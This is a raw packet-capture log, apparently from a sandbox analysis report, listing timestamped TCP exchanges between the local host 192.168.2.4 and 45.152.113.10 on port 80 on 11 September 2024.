Sep 11, 2024 22:52:03.720232964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720252037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720280886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720283031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720314026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720333099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720345020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720361948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720377922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720391989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720410109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720427990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720442057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720460892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720475912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720493078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720508099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720530033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720542908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720558882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720573902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720592022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720607042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720627069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720638990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720650911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720670938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720688105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720704079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720725060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720736980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720752954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720771074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720798016 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720803976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720822096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720834970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720851898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720868111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720884085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720900059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720931053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720947981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720958948 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.720980883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.720999002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721010923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721036911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721044064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721055031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721076965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721086979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721108913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721139908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721148968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721173048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721174955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721203089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721206903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721226931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721239090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721250057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721271038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721292019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721304893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721328020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721334934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721350908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721366882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721381903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721400023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721417904 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721432924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721451998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721467018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.721478939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.721510887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.723943949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.724030018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.724033117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.724085093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.727686882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.727705002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.727752924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.727796078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.727818012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.727864981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728399038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728414059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728429079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728456974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728486061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728568077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728584051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728598118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728611946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728622913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728662968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728755951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728770971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728785038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728799105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728805065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728813887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728828907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728842020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728846073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728861094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728874922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728877068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728888988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728899002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728904963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.728921890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.728960037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729110003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729125023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729137897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729152918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729165077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729173899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729190111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729197025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729204893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729221106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729233980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729234934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729255915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729258060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729273081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729288101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729288101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729301929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729319096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729325056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729351044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729370117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729454041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729470968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729485989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.729509115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.729542017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.760529995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.760555029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.765502930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.765553951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.765582085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.765609980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.765635967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.915846109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.915947914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.999931097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.999950886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:04.005454063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:04.005486965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:04.005516052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:04.227499962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:04.227607012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:04.242723942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:04.248300076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:04.394092083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:04.394365072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:04.866036892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:04.871088982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.005737066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.005867958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.173063993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.178888083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304469109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304513931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304572105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.304603100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304636002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304661036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.304661036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.304672956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304691076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.304702997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304723978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.304766893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.304843903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304873943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304908991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.304927111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.304975986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.305007935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.305041075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.305072069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.305103064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.305130959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.305134058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305135012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305135012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305135012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305135012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305135012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305162907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.305221081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305221081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.305221081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341412067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341463089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341494083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341526031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341557980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341589928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341619968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341620922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341620922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341620922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341620922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341677904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341698885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341732025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341749907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341764927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341794968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341798067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341824055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341845989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341846943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.341876984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341923952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341955900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.341995955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342045069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342080116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342080116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342080116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342080116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342081070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342092991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342140913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342164040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342164040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342174053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342202902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342205048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342225075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342236042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342267990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342288017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342300892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342310905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342329979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342333078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342348099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342365980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342396975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342398882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342425108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342431068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342461109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342463017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.342478991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.342515945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378113985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378196001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378209114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378247976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378273010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378298998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378302097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378335953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378353119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378367901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378391981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378402948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378427982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378432989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378469944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378488064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378492117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378537893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378549099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378570080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378597021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378618002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378618956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378649950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378679037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378701925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378706932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378735065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378767967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378783941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378797054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378840923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378849983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378881931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378914118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378912926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378932953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.378967047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.378982067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379015923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379023075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379049063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379084110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379097939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379105091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379128933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379146099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379156113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379169941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379189968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379219055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379240036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379277945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379286051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379298925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379318953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379337072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379368067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379379988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379424095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379435062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379470110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379506111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379540920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379560947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379561901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379579067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379610062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379625082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379641056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379662991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379672050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379700899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379704952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379729986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.379739046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.379765034 CEST	49733	80	192.168.2.4	45.152.113.10
